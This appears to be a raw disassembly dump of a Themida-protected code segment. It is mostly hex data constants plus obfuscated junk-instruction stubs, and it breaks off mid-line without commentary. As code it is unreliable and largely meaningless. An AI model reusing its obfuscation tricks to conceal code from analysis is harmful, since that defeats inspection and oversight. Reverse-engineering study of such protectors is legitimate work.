0F9061421h, 1CB1858Bh, 0F08B0614h, 0A364h dd 83F50000h, 142309BDh, 840F0006h, 5Ch, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ch, 0EFC35242h, 7131B470h dd 9600D42Ch, 66F28166h, 13830F3Eh, 0E8000000h, 7, 1BF4111Ch dd 89B0D5F4h, 14223D85h, 858B5E06h, 6142189h, 68F0Fh, 95330000h dd 6142AF1h, 958BE08Bh, 6140FEDh, 3DBD83h, 0F000614h, 46F85h dd 38E0F00h, 66000000h, 85C6F08Bh, 6141A59h, 53006A56h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0C0E02817h, 513411DCh, 0E8D68B66h, 4, 0A9C530DFh, 6E9h dd 716EB300h, 504A5173h, 14E9h, 47D16400h, 5F4A2B40h, 0DB7AF828h dd 75DD9E18h, 85BCF94Ah, 24448B89h, 0DDBA6604h, 0F008B79h dd 1288h, 0AE85600h, 29000000h, 0B1EE9535h, 61C56554h dd 895A5EE2h, 66042444h, 5821BEBEh, 1AD1B5FFh, 6A0614h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 6AB16CC3h, 858D4C00h, 61780DBh, 8E0F53h, 5E000000h dd 7E9D0FFh, 39000000h, 2B7DFB62h, 50900671h, 66525060h dd 310FF18Bh, 9061585Ah, 1D618531h, 8D8D0614h, 6140095h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0AAC35545h dd 15C68166h, 0BE6650E4h, 0C898DD0h, 52006A24h ; --------------------------------------------------------------------------- loc_5CBF68: ; DATA XREF: Themida_:005497DCo ; Themida_:00549AC0o ... call sub_5CBF70 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CBF70 proc near ; CODE XREF: Themida_:loc_5CBF68p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5CBF70 endp ; --------------------------------------------------------------------------- mov ch, dh mov [ebp+6142E61h], eax mov esi, 5A30DAFDh push 4 push 0 push esi call sub_5CBF9A and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CBF9A proc near ; CODE XREF: Themida_:005CBF92p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5CBF9A endp ; --------------------------------------------------------------------------- dw 0F72h dd 380h, 0D1BF0F00h, 0BE9h, 0DD975B00h, 0DC119474h, 0E641CDF0h dd 0C47AED68h, 8B6651F0h, 4815ED3h, 3B951324h, 57006A0Fh dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 51D39635h, 0E9F0492Ah, 9, 9C6AD33h, 1DD51B43h, 0F9B5FFF0h dd 6A061424h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 0CCF6C357h, 0D0FFC411h, 1A31BD89h dd 0BD8B0614h, 61424F9h, 0B58B5150h, 6141DADh, 7F035E5Eh dd 39BD893Ch, 81061405h, 0F8C7h, 79B58B00h, 0C7061414h dd 202447h, 5E506000h, 2F3FBD83h, 0F00061Ch, 16E84h, 0AE800h dd 0F3F50000h, 4670AEBh, 62880C82h, 0BE8h, 7F53A300h, 1B4CEA2Ch dd 47AEF8ECh, 5A5E6160h, 6028C783h, 0BC99589h, 10E80614h dd 0ED000000h, 0F4C2B7B6h, 55C5D1F2h, 78EC9BD6h, 0F21B27Ch dd 615FF2B7h, 6A2E07C7h, 6A6469h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 0DF3B7AC3h, 0BE66DDA1h dd 47C735D8h, 61746104h, 858BF500h, 61C2F47h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 8CC35545h, 89F8C030h dd 958B0C47h, 61410D5h, 2F4B858Bh, 4789061Ch, 0C99D8908h dd 83061414h, 0BA5728C7h, 61EC3FDBh, 2E07C75Eh, 6A6E6F63h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 8BA3C353h, 0F6816680h, 47C7BC15h, 67696604h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 8A3B2716h, 0F63C3566h, 8166162Fh, 33E346CEh dd 14151DB5h, 43858B06h, 89061C2Fh, 140A099Dh, 0F1858906h dd 8906142Ah, 0BE660C47h, 858B0392h, 61C2F3Fh, 0DE9h, 5A60AB00h dd 0CDFB0EFh, 8D88BDD7h, 47897B30h, 0E9606008h, 0Bh, 88D4749Dh dd 5D5B743Ah, 89D093DFh, 140D5DBDh, 58616106h, 5E8h, 3D768800h dd 9D898D1Fh, 6140BFDh, 658D8D5Ah, 33061426h, 141AA9B5h dd 0BE669106h, 0BA509DA2h, 22CC728Eh, 0BD952B91h, 60061425h dd 1D9D2950h, 5F061408h, 0B5FF61FCh, 6140095h, 12E9h, 0D95CD200h dd 1FF2827Ah, 0C463B828h, 0F9F7E443h, 68C58D67h, 946CAA3Bh dd 481F48Ah, 9365C524h, 55006A6Bh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 0C32F6977h, 0E5973316h dd 81666617h, 0FF0771EEh, 1424F9B5h, 9830F06h, 60000000h dd 38437EBEh, 6159513Dh, 1031958Bh, 0D0FF0614h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 48C35040h, 0E9C18147h dd 0Eh, 8766BC04h, 0CB913BE4h, 0A59EF037h, 0BD89C1D0h dd 6142E79h, 0B8h, 0DE816600h, 5660570Eh, 15958Bh, 895E0614h dd 1430AD8Dh, 0C00B6106h, 4C840Fh, 958B0000h, 61424F5h dd 71FFDA81h, 0B5FF14CEh, 6140299h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 7FC35646h, 137621Dh, 0FDB52960h dd 1061410h, 142B81BDh, 95FF6106h, 6142361h, 2D1B58Bh dd 0C08B0614h, 2820Fh, 0ECB60000h, 30B1BD83h, 75000614h dd 0E1BD8309h, 6141Ah, 53501974h, 2DB8C08Bh, 89000004h dd 1430C185h, 0A19D8D06h, 0FF0616B7h, 83585BD3h, 141AE1BDh dd 17740006h, 2DB85350h, 89000004h, 1430C185h, 429D8D06h dd 0FF0616B4h, 0F585BD3h, 283h, 0BAF28B00h, 316772C0h dd 12797DBAh, 6AC08B27h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0C9D5C355h, 6B26C1FAh dd 0E9845BEh, 0AD952B61h, 8B06140Bh, 0BC8D8DC0h, 66061C38h dd 54B8C38Bh, 89295507h, 1432298Dh, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0B5DB1D2Eh dd 8B66F261h, 4D85C7D0h, 0E8061406h, 6A000072h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0A828C350h, 0BFCE8166h, 7185C71Ah, 61426h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 47D6C351h, 8B52AFB2h, 0B5FF5AFEh, 61406A5h dd 95FF9DB2h, 6142361h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 0EC35040h, 9EE75DB3h, 52152892h, 0C49958Bh dd 858B0614h, 61405D9h, 95FF006Ah, 6141169h, 1EEBC08Bh dd 0D097786Dh, 7E19B5A3h, 0BC0B4EA1h, 0BF8E74BFh, 54C95716h dd 0FB315E7Dh, 0ADB47C7Ah, 8D8DD9B1h, 61C39E1h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 41C35545h, 8D89E901h dd 6143229h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 1EC35343h, 0C151AB7h, 85895985h, 6141BC9h, 64D85C7h dd 5CEC0614h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0C70A27C3h, 14267185h, 6, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0FA52A1DAh, 0ED958B50h, 5F061400h, 2319B5FFh, 6A0614h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 1EFCC3C3h, 0E94DD54Bh, 8, 413C6E04h, 8D0EF047h, 236195FFh dd 12E90614h, 1F000000h, 744D0CDDh, 8875EB84h, 2A361775h dd 2F8A088h, 0FF006AAAh, 14116995h, 0EBC08B06h, 0BADE261Eh dd 2FD27E58h, 8FD37432h, 0D998FA76h, 0EDE1140Eh, 4556E474h dd 0D88EB7A2h, 0E8BC6AA5h, 12h dword_5CC5E8 dd 3CBC1AECh, 56DAA80Fh, 0E5C42D23h, 0C6653726h, 8D8B5B71h ; DATA XREF: Themida_:0054ACA0o dd 6142CF5h, 0C1BD895Fh, 81061420h, 595DC7h, 68F0F00h dd 29000000h, 1405FD9Dh, 8BDB2B06h, 0B70F1F14h, 0CCEA81CFh dd 293C6A2Ah, 1434E9B5h, 0F8F28106h, 661BE0E5h, 811B58B9h dd 0DAAF8EC2h, 1DF48023h, 0F1F1489h, 28Eh, 0F9F08B00h dd 7E06EB81h, 81667D42h, 818CDDF1h, 427E02C3h, 7D858B7Dh dd 81061434h, 0FFA72CFBh, 0AC850FFFh, 89FFFFFFh, 14192D9Dh dd 0E900EB06h, 41Bh, 40922DAFh, 0FB4D7063h, 0B507B41Eh dd 6ABCFDD8h, 21734A8Dh, 0F7E0D0E8h, 3A9774C6h, 88502D7Fh dd 0CE08E537h, 78F9BEDh, 0E221B01h, 0CD342F58h, 0B4FCC112h dd 0BC16EEE7h, 63BB67FFh, 8B472434h, 0D401DE30h, 8D09DE5h dd 9B7888B7h, 572F813Ch, 0C5243C80h, 8AB9A467h, 1365587Fh dd 0D61E9B36h, 6322080Eh, 0E3651F2h, 0E6F2CFDFh, 2CAA87D9h dd 403E67D0h, 0BB53A7F3h, 0E5429C73h, 0EA6CDAA3h, 1C95ABBBh dd 0C057EACFh, 0DDDEF851h, 8B12431h, 0DEF7C45Ch, 3FAD89DBh dd 0A641478Fh, 145E00E2h, 0FDCA4ECh, 886EF4C7h, 9C5E21C2h dd 95DB4574h, 5E21C2B3h, 74209938h, 0A14D7067h, 0E8C9896Dh dd 4843FF21h, 0F2BE171Dh, 137E1h, 0C512F800h, 923F4CF8h dd 636E7B27h, 0BA42BE56h, 9861BF2h, 38DC9867h, 92D3C509h dd 0A67D51F2h, 0A62B2DC0h, 14B2BC13h, 173FC3F2h, 43785E6Bh dd 0F9C214F1h, 777D454Dh, 51F2BB91h, 444E7DA5h, 1AE22AD6h dd 0F2BC2E14h, 0EB1A4251h, 0E0F4DFE5h, 0A98057E5h, 0D0A6F24Bh dd 229D3BF3h, 57861E76h, 0AAFFABD3h, 24B24A08h, 81874F97h dd 5806569Bh, 5741272Dh, 2D555806h, 103F67h, 407B5B28h dd 30DCDFF3h, 319FA9D8h, 0C83F458Dh, 0FE5DF9A7h, 5C08B721h dd 0D0B6BC04h, 0E45E1A86h, 0FDC24BCh, 0F34BF7C2h, 8A4D5AC4h dd 0D304E133h, 731F9E35h, 0CBD7831Bh, 6268B05Eh, 5E1A874Ch dd 5665713Eh, 0D20552AAh, 1038BCEBh, 0E0DBFBC8h, 9DADDC34h dd 63AB53C1h, 0DA5365Dh, 0F8A4CC64h, 7D5B28F0h, 0A5D6BC42h dd 0C2EA642Eh, 6E4F8893h, 816D441Ch, 2C2D6084h, 5C7B86B5h dd 3CA9B561h, 1E484E96h, 28642EE3h, 7B3E9360h, 2EE40FF5h dd 6BFB9264h, 0C6F12E28h, 8A90D800h, 642E57A4h, 0DD6190B8h dd 0BE8B63B5h, 34BA217h, 6037E262h, 3E99A4D3h, 88552D7Fh dd 5B42714Ah, 0B1F9A513h, 0E534C8ABh, 0DCF9D657h, 8C9945DDh dd 11F714Ah, 9A48B564h, 0BC16E3F9h, 0AA8CD0FFh, 2F580614h dd 0E5C214A7h, 111ECAF1h, 0D84AF6C5h, 5B23D674h, 6156F55h dd 0E6D7FC58h, 0BEC9F820h, 845BA318h, 4EB6E255h, 0A3B3E2EAh dd 0D9AC0065h, 90965EF8h, 580639AAh, 16796BEh, 3Dh, 0F9A51318h dd 0CC0ABB1h, 0A6CE57E5h, 242AF2FAh, 58060D3Eh, 0EFB508CBh dd 4BDBAA08h, 0C55D5EFFh, 704B8B96h, 787E461Eh, 58067492h dd 0E2C8CEA6h, 0F6580674h, 0FB0736CEh, 20h, 494F1752h dd 51F1E863h, 0ED4E5F0h, 29ACB7E6h, 5DCE490h, 155614BBh dd 535E8D35h, 2DE63883h, 0A4F6C312h, 8E431098h, 0F8277F2Bh dd 0E7F2ECF2h, 0D49C51F1h, 41EDD007h, 0E87D63E9h, 699151F1h dd 5602BB1Ch, 234BCFFEh, 4F6C6A77h, 0EEAC4EA3h, 0AD79F27h dd 0EE46F2C7h, 0E7817BBFh, 0D0AD51F1h, 0E7D80006h, 9F4BE33Bh dd 9F67AF47h, 4C25ABC8h, 9384198h, 0F287DFC5h, 79CBF351h dd 0F9C23A9Ch, 9E088A91h, 44DCDFF3h, 14365AACh, 2EDFh dd 4A173600h, 957B818Eh, 0A951F1E7h, 0AFBAE981h, 0DBE89427h dd 966EC0FBh, 0FC0209C9h, 51F1E816h, 0BE6A022Ah, 0F8090F66h dd 67DDCFD8h, 1298FF38h, 3C49F5CAh, 6875219Ah, 96A34F70h dd 0C5D27E3Bh, 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h, 7A873388h dd 33B86459h, 524468h, 240C8900h, 0C181E189h, 4, 8704E983h dd 575C240Ch, 0C781E789h, 4, 8704EF83h, 895C243Ch, 2568240Ch dd 8900005Bh, 0BA522434h, 72F17050h, 2ACA4DB9h, 8BD10193h dd 0C4812414h, 4, 24348B54h, 5104C483h, 78240481h, 8F3B0E16h dd 0BA520846h, 3B0E1678h, 5A085629h, 5324348Bh, 0C381E389h dd 4, 8704C383h, 8B5C241Ch, 8950240Ch, 405E0h, 4050000h dd 87000000h, 0E95C2404h, 0FFF83F6Fh, 2DB8B21Dh, 0B85E76FBh dd 61C3E21h, 0E0FFC503h, 6F2A95C4h, 10B1D3D6h, 50D44FB4h dd 4B9BDA0Fh, 30501610h, 361198F1h, 40CDC3AFh, 98C2EC8h dd 5E2737A6h, 43EB9BEh, 0AE956h, 65020000h, 89C4D1E3h dd 52D36973h, 0E8D3BF0Fh, 6, 802570E6h, 5AF9BCC0h, 0E9F78B66h dd 0Eh, 0E1BB654Ah, 7B77AD4Ah, 62834242h, 12E9DFADh, 0C000000h dd 0BEC0F29Dh, 54ECF7E1h, 36D6176h, 693E3906h, 8B0F52F0h dd 2, 0F58FA8Bh, 8B66DFBFh, 0A880FCBh, 0E9000000h, 5, 0F71B15A3h dd 0CE976h, 28190000h, 3CA4E3E2h, 0D02ADD7h, 0F604F81h dd 181h, 0BE60F800h, 1B3E0A43h, 0B1ACF81h, 616117B3h, 18A0Fh dd 0E8F90000h, 11h, 1C905B89h, 82F6B98Fh, 25280296h, 69E46D48h dd 14810F2Eh, 0E9000000h, 0Fh, 0C9F9FA8h, 0D0F64717h, 6DD4B708h dd 5A87C9F8h, 0C28177B0h, 1B4B5985h, 32E9B866h, 0E9D2B70Fh dd 6, 9B916B4Eh, 0D281AAE1h, 4A0D4FE2h, 9E38166h, 8E997h dd 0FA650000h, 3BD50175h, 0EF809F40h, 0E974B56Ah, 0Bh dd 740D4774h, 547E02C4h, 0F1B55C8h, 684h, 830F00h, 66000000h dd 0FC0531BBh, 81C4F780h, 5FDA60C1h, 58C28124h, 0E921843Fh dd 14h, 4DA50DFEh, 50AD6D73h, 578BA8D6h, 0F4805964h, 6FBFDD38h dd 10E9h, 0B0425100h, 81E395A8h, 72B95345h, 465D2035h dd 0CABF0F0Ah, 0B79FBF66h, 12E9h, 88E14900h, 0E6B1B0A1h dd 25238E10h, 0D0636451h, 807DEA3Fh, 0BA66D9EDh, 0B70F566Eh dd 816660CBh, 803253CBh, 8B6100C7h, 8B6057CEh, 0CE8D3h dd 0E52E0000h, 17644588h, 6B3423CFh, 61597977h, 0F181665Fh dd 0EE9C1A2h, 53000000h, 0F92FBF9Dh, 8268286Fh, 2EEE8888h dd 15800F6Eh, 0E9000000h, 10h, 0CB27A6F7h, 7D26FB7Dh, 3EDB50E8h dd 5BA8461Bh, 667ED080h, 565F281h, 0D38A5151h, 0BF0F585Fh dd 87CF81CEh, 0F51B22Dh, 870FC0B7h, 3, 0E9F38B66h, 8, 0A9208144h dd 0D4E958EBh, 5D08ACBBh, 0B966F85Eh, 0B866423Fh, 12E91091h dd 80000000h, 98C78BB8h, 0B9C1F71Ch, 4476B120h, 3E243EFAh dd 0CBBF0FAEh, 81F7BF0Fh, 8E96DBCEh, 8B66601Dh, 0C28061F3h dd 7BBF660Ch, 9E9EFh, 0B6CF0000h, 92D9C421h, 0F532CEE9h dd 0E245DA81h, 0D08107E9h, 52D65A26h, 10860Fh, 8E80000h dd 49000000h, 0F675115Fh, 8AE1FB36h, 90BF5ADDh, 0E9339508h dd 0Bh, 0A815DE1Bh, 0F3F08240h, 0E91DD274h, 9, 47BB9398h dd 113B49Ah, 0AE9CBh, 0BCAF0000h, 0DEC6E863h, 0AA46FD5Ah dd 0E9F08BF8h, 13h, 9E93CD5Ah, 7372B7E6h, 9FD14C28h, 73F0020Eh dd 6670E526h, 19B3D68Bh, 0DE8h, 0CCB77000h, 773C44E0h dd 88A07890h, 0E68A1536h, 0C6BF0F5Fh, 0E9F6BF0Fh, 0Ch dd 0FE8FCB49h, 9C22F12Dh, 61A7ED0h, 0AC50FBFh, 0DF816658h dd 0BE660368h, 8B667C59h, 0AE9C2h, 0EDC40000h, 459B099h dd 277F148Ch, 0D8B0Fh dd 8E90000h, 21000000h, 0E2B44B2Fh, 0B6518137h, 10E982h dd 77540000h, 0C667EC98h, 0A71C28E3h, 8C2C49DEh, 0F1813DDCh dd 5E299C1Fh, 0D5B7BA66h, 6657F3B1h, 5FD81ABFh, 0BE9h dd 376D600h, 0FC6F8DC1h, 29C9C20Ah, 0DE960h, 0D4E90000h dd 9B8DB5AFh, 0A592DDFDh, 66CFBD9Ch, 61C9BAB9h, 0F3816660h dd 0E95072CFh, 5, 8D448FF1h, 0F86159B4h, 74F18166h, 0F28151B8h dd 491DE5FAh, 7E959h, 905F0000h, 85FD1350h, 16D48020h dd 0C21ABA66h, 9E8h, 1BA6E300h, 0CFC0696Eh, 0C38102B2h dd 78E9B0CEh, 0BF0F5258h, 0DE958D9h, 0D4000000h, 4852EFCCh dd 0F41B4C0h, 86C660E7h, 32BB6651h, 0E8805ADEh, 88BBF85Fh dd 8042785Eh, 8B6630E6h, 8A0FC1h, 66000000h, 940EC181h dd 0EE8h, 0E2207400h, 2F6DD56Bh, 40BC1E47h, 0F944956h dd 80h, 81665800h, 0F4800C0h, 0BF66F3B7h, 11E99FF1h, 0AF000000h dd 595516CDh, 3A629E37h, 747FEBE6h, 0BC8917CEh, 93D18052h dd 0DD0B85Eh, 0EE97C27h, 7000000h, 0A102B943h, 0E81108AAh dd 693B5CD4h, 0F28B664Bh, 0B40EE780h, 6860F6Eh, 81000000h dd 632455DAh, 88EA8031h, 5840Fh, 0D2BB0000h, 601C827Ah dd 8A11B866h, 11E9h, 0AE078E00h, 0BECD47B4h, 86B0C0E4h dd 0D7B2A24Eh, 666180D3h, 0F174BBAh, 5251F3BFh, 7E8h, 5ABECB00h dd 348099DDh, 0B95F5B59h, 31AEAA49h, 880FE5B0h, 2, 12E9FB8Bh dd 0CC000000h, 0F858E496h, 5B06058Ah, 8AD98C17h, 0FBE3C72Ch dd 0F8F9601Ch, 92B86661h, 12E847h, 64E10000h, 51537D33h dd 0FC7718AAh, 0F1F9C9F2h, 71C8856h, 0EFF28166h, 0BE95B7Ah dd 0F4000000h, 0C7BC7346h, 45F3EF73h, 0CB8BBEBDh, 5E40EE81h dd 0BF0F2793h, 5EF857D2h, 8A5F57F8h, 4EF680EFh, 0E9D3BF0Fh dd 10h, 0B10DB2F0h, 0B0D30739h, 6F29DFB3h, 0D7CE3498h dd 9E9FCFCh, 19000000h, 3B1720AFh, 98D6C09Ah, 2870Fh, 0E38A0000h dd 14E9h, 899D500h, 0D2619536h, 0D1A3CC68h, 7D604404h dd 722AE0F2h, 7E948h, 4DA40000h, 0B929317Ch, 0A7BA6678h dd 0FE90Fh, 10490000h, 0AE72C8ABh, 1F5C18F9h, 0BEE0C6D2h dd 8B575281h, 0E95F5BDEh, 0Fh, 0F595621Bh, 3A79F363h, 0B8D2514Bh dd 0F5BDF9CDh, 0EE9h, 243BE900h, 9A350C25h, 72215CBAh dd 0F588A4Dh, 382h, 0D6BF0F00h, 8B6624B2h, 7E8C3h, 0E3BE0000h dd 1071CDA0h, 0F08B66E3h, 53F5605Ah, 8F0Fh, 615A0000h dd 0DE9h, 1176C400h, 0CD433B4Eh, 640AD6E2h, 8166E0A2h dd 661260F3h, 660C10BBh, 8849DA81h, 66F78B66h, 0D081DE8Bh dd 2AFC6319h, 18F0Fh, 80F90000h, 0C28B26C8h, 7490D981h dd 0CC804C34h, 8E8F9h, 0A2CD0000h, 8087022Fh, 0B8BFB1D2h dd 5B1D25DAh, 0FD78B66h, 18Dh, 0CB8BF900h, 2ED68166h, 8A0F608Dh dd 3, 8080CA80h, 0F6108D9h, 8B66C2BFh, 0B96660C8h, 0CBA43C2h dd 614D76F0h, 0D38B6660h, 14E960h, 89050000h, 828D5252h dd 0EFBF5DFBh, 5885250Fh, 204E7B3h, 0FE8FC3Eh, 4000000h dd 0CF5DCBC7h, 61A25769h, 0F44F30E1h, 615AB7A9h, 78BA6661h dd 0F1BF0F12h, 0C16EBE66h, 28B0Fh, 0BEB60000h, 0E9F28B66h dd 0Ah, 90E28FFFh, 2D7474FDh, 880F613Fh, 3, 0F560C780h dd 19840Fh, 6E80000h, 0D9000000h, 0E1CF4535h, 7E896h, 935B0000h dd 549C066Ch, 0E95E5E66h, 0Dh, 7F480798h, 1451B5CBh, 2183D7E2h dd 80C18B4Fh, 0F38114D8h, 199A0F51h, 0FE960h, 3E6D0000h dd 977456B5h, 0F33D422Ch, 282A5613h, 0E961F89Dh, 5, 0A276A784h dd 0E081664Ah, 0CE9F684h, 4E000000h, 70E7DF51h, 0B69EE33Ch dd 0E980B1E2h, 0Ch, 6D7F9AE8h, 1E559D01h, 26D4BA62h, 0DE8CA8Bh dd 2E000000h, 0B9BE4840h, 0A558E777h, 5E098BEAh, 4897D981h dd 665F00D8h, 5E9C28Bh, 7E000000h, 1D5E76Ah, 3D59BB66h dd 0F5DBBF0Fh, 0C88166F8h, 0FF98FEFh, 181h, 8F0FFC00h dd 0 ; --------------------------------------------------------------------------- mov cx, 7BE0h sbb cl, 76h jle $+6 xor di, 0DF96h mov edi, 5A675D7Fh ; CODE XREF: Themida_:005CD2B8j mov ecx, 589CC619h mov bx, cx clc jmp loc_5CD28E ; --------------------------------------------------------------------------- adc dword ptr [eax+5EAE91B4h], 0FFFFFFFCh jmp short loc_5CD2B7 ; --------------------------------------------------------------------------- dw 0A59Ch db 26h, 77h ; --------------------------------------------------------------------------- loc_5CD28E: ; CODE XREF: Themida_:005CD27Cj mov dl, 91h push eax movzx esi, si pop edx mov edx, eax pusha jmp loc_5CD2A4 ; --------------------------------------------------------------------------- pop ds sub [eax-1BBC3B9Dh], bh loc_5CD2A4: ; CODE XREF: Themida_:005CD298j mov ecx, ebx popa push edx call sub_5CD2BC mov dh, 66h jmp near ptr 37F010Eh ; --------------------------------------------------------------------------- db 0CDh, 22h, 60h ; --------------------------------------------------------------------------- loc_5CD2B7: ; CODE XREF: Themida_:005CD288j stosd js short near ptr loc_5CD26E+1 pusha ; --------------------------------------------------------------------------- db 0C4h ; =============== S U B R O U T I N E ======================================= sub_5CD2BC proc near ; CODE XREF: Themida_:005CD2A8p mov ax, 0DF10h pop ebx pop eax and edx, 43CB3596h jmp loc_5CD2DB ; --------------------------------------------------------------------------- db 56h, 0B0h, 0DCh dd 0D8085B61h, 1A37A58Fh db 95h, 0DDh, 7Ah ; --------------------------------------------------------------------------- loc_5CD2DB: ; CODE XREF: sub_5CD2BC+Cj mov ebx, edi mov edx, 46800D2Dh jnb $+6 loc_5CD2E8: ; CODE XREF: sub_5CD2BC+41j or edx, 56645105h call near ptr loc_5CD2FD+1 pop ebp lodsb xchg eax, ebx out dx, eax xchg eax, ebx mov al, ds:2298ED1Dh loc_5CD2FD: ; CODE XREF: sub_5CD2BC+32p jge short loc_5CD2E8 sub_5CD2BC endp ; sp-analysis failed adc [eax], al ; --------------------------------------------------------------------------- db 2 dup(0), 17h ; --------------------------------------------------------------------------- jl short loc_5CD329 xchg eax, ebx xchg eax, esp add es:[eax], ch mov bl, 0B7h cdq mov edx, 0E215F8D9h pop ecx mov dx, 0E436h mov di, ax jno near ptr loc_5CD32F+1 jmp near ptr loc_5CD32F+1 ; --------------------------------------------------------------------------- dw 0AC42h db 8Eh ; --------------------------------------------------------------------------- loc_5CD329: ; CODE XREF: Themida_:005CD304j inc edi aaa dec esp push esi jge short loc_5CD387 loc_5CD32F: ; CODE XREF: Themida_:005CD31Bj ; Themida_:005CD321j cmp esp, [esi-7Fh] ; --------------------------------------------------------------------------- dw 0FCDFh ; --------------------------------------------------------------------------- aad 0F5h jmp loc_5CD344 ; --------------------------------------------------------------------------- db 0A6h dd 0D8C07CC6h, 8D970B57h ; --------------------------------------------------------------------------- loc_5CD344: ; CODE XREF: Themida_:005CD336j jno $+6 mov cx, 0CEB3h pusha pusha or ax, 0F522h popa popa stc jmp loc_5CD362 ; --------------------------------------------------------------------------- sbb eax, 7D2298EDh loc_5CD362: ; CODE XREF: Themida_:005CD358j pusha call loc_5CD378 out dx, al ; --------------------------------------------------------------------------- db 8Fh, 5Bh, 0EEh dd 91FCEC5Fh, 9CDC5D86h, 442A1A4Ah ; --------------------------------------------------------------------------- loc_5CD378: ; CODE XREF: Themida_:005CD363p and di, 3166h pop edi mov eax, 29CE2D0Ch popa ; --------------------------------------------------------------------------- db 66h, 0BAh, 71h ; --------------------------------------------------------------------------- loc_5CD387: ; CODE XREF: Themida_:005CD32Dj ror dword ptr [edi], 1 pop dword ptr ds:0B8000000h popf xchg eax, esp ja short near ptr loc_5CD39D+2 sub ecx, 15152D7Fh pusha add ah, 0DBh loc_5CD39D: ; CODE XREF: Themida_:005CD391j jg loc_5CD3A5 mov edi, ecx loc_5CD3A5: ; CODE XREF: Themida_:loc_5CD39Dj popa push eax call near ptr loc_5CD3B3+2 fsubr dword ptr [ebx+2Bh] pop ss pushf mov bh, 58h loc_5CD3B3: ; CODE XREF: Themida_:005CD3A7p adc eax, 840F42h ; --------------------------------------------------------------------------- dd 5A000000h, 0CF81665Fh, 0BF0FB0CDh, 0BF0FFCF6h, 0FD98AC7h dd 1D81h, 11E800h, 10E90000h, 39F60E0Bh, 2D1742CEh, 25D44F10h dd 0F0B463Ch, 8Ch, 8E85B00h, 0C7000000h, 0B0775C70h, 0E8798CB7h dd 13h, 0C81AE002h, 2713922Bh, 58B2FD6Eh, 0E7D22686h, 8B08940Dh dd 0BA5E59D7h, 5CB6DDC9h, 66F3B70Fh, 0E8652CB8h, 11h, 8F744E00h dd 89AB2F01h, 4FAC5988h, 0FD01CD30h, 0BFB9663Bh, 0EE85B14h dd 9D000000h, 0C7076D7Dh, 7F10FDD4h, 0FC3526C3h, 58CE8A08h dd 0BBBB6653h, 0CA805803h, 0DF8B6626h, 0B0F28B66h, 0CABF0F66h dd 0B5C08166h, 16BA6613h, 0F1B70FB4h, 60D18B66h, 0D63FC6B9h dd 0BE86101h, 0D8000000h, 1A1CCDADh, 0B4662B4Ch, 0C180CB9Fh dd 800F5B9Dh, 3, 60D2B70Fh, 5FCCB751h, 8E8h, 0B296F200h dd 3959DFA3h, 0F6BB661Fh, 6061580Eh, 6870Fh, 8F0F0000h dd 0 dd 8D0F61F8h, 1Fh, 870F60h, 0E8000000h, 11h, 9FA65F28h dd 74C8ED8Dh, 0E7D5C551h, 0DD975B86h, 66615E74h, 8BD97FBAh dd 0B966F3h, 0A307BF0Dh, 0D6806483h, 14E9A8h, 9BEE0000h dd 0E067F604h, 0F573D509h, 7F17D451h, 0D3F585C0h, 816692BEh dd 0F9E067CEh, 0ABC2EF81h, 8D0F3B37h, 9, 3890Fh, 8B660000h dd 0CE9C7h, 0A6420000h, 3F66E4C4h, 4057C720h, 8166701Bh dd 0E9D939C8h, 7, 4C75C79Eh, 8163320Ch, 5B084C0h, 13E945h dd 245D0000h, 471BC5D7h, 6DD9893Ah, 720457ABh, 9C82F492h dd 0E9C78B30h, 9, 1780B235h, 0F50F3F9Bh, 0C1B70FD5h, 0C28BC18Ah dd 0BEC7BF0Fh, 698D8EEFh, 0F601B966h, 860Fh, 0D1810000h dd 3FDC6F02h, 0A860FF9h, 0E9000000h, 5, 0CAC985FCh, 58A0F53h dd 66000000h, 1093D381h, 0CE9h, 0F5CB3F00h, 36F20339h dd 94970C1Fh, 0D7BF0F2Ah, 6E8h, 0F255D900h, 5677C908h dd 3E83B966h, 0F38B595Bh, 804509BBh, 0C3816678h, 0F9FC979Ah dd 81C78B66h, 2F43ACF3h, 1BC6B862h, 0B70F0D32h, 3880FC6h dd 66000000h, 2ABAC88Bh, 0E91D9216h, 8, 295B701Ch, 0FBF2E6B3h dd 0BEDABF0Fh, 5833153Ch, 0A0DDB866h, 28D0Fh, 0F78B0000h dd 6C38160h, 0E877E0D2h, 6, 0CD433B4Eh, 